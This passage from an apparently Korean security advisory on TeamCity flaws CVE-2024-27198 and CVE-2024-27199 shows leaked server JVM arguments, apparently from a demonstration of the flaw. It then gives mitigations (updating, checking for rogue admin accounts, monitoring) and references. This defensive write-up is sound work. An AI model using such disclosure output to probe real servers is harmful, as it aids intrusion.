            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

 

3. 대응방안

- 최신버전 업데이트 적용 [5]

- 비인가 관리자 계정 생성, 시스템 설정 변경 등 점검

- 탐지 패턴 등록 및 모니터링

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198
[2] https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-27199
[4] https://attackerkb.com/topics/ADUie1mrpK/cve-2024-27199/rapid7-analysis
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71360&menuNo=205020
[6] https://www.boannews.com/media/view.asp?idx=127389&page=1&kind=4

+ Recent posts